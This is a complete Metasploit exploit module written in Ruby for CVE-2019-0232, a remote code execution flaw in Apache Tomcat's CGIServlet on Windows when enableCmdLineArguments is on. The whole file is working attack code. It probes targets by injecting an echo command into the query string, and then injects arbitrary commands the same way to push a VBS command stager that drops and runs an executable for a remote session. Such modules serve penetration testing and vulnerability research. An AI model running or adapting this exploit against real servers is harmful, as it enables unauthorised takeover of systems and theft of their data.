Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the  
enableCmdLineArguments setting is set to true, a remote user can abuse this to execute  
system commands, and gain remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yakov Shafranovich', # Original discovery  
'sinn3r' # Metasploit module  
],  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
[ 'Apache Tomcat 9.0 or prior for Windows', { } ]  
],  
'References' =>  
[  
['CVE', '2019-0232'],  
['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],  
['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']  
],  
'Notes' =>  
{  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'CmdStagerFlavor' => 'vbs',  
'DefaultOptions' =>  
{  
'RPORT' => 8080  
},  
'Privileged' => false,  
'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])  
])  
  
register_advanced_options(  
[  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
])  
  
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')  
end  
  
def check  
sig = Rex::Text.rand_text_alpha(10)  
uri = normalize_uri(target_uri.path)  
uri << "?&echo+#{sig}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res  
vprint_error('No Response from server')  
return CheckCode::Unknown  
end  
  
if res.body.include?(sig)  
return CheckCode::Vulnerable  
end  
  
CheckCode::Safe  
end  
  
def execute_command(cmd, opts={})  
# Our command stager assumes we have access to environment variables.  
# We don't necessarily have that, so we have to modify cscript to a full path.  
cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')  
  
uri = normalize_uri(target_uri.path)  
uri << "?&#{CGI.escape(cmd)}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res  
fail_with(Failure::Unreachable, 'No response from server')  
end  
  
unless res.code == 200  
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")  
end  
end  
  
# it seems we don't really have a way to retrieve the filenames from the VBS command stager,  
# so we need to rely on the user to cleanup the files.  
def on_new_session(cli)  
print_warning('Make sure to manually cleanup the exe generated by the exploit')  
super  
end  
  
def exploit  
print_status("Checking if #{rhost} is vulnerable")  
unless check == CheckCode::Vulnerable  
unless datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')  
end  
  
print_warning('Target does not appear to be vulnerable.')  
end  
  
print_status("#{rhost} seems vulnerable, what a good day.")  
execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)  
end  
end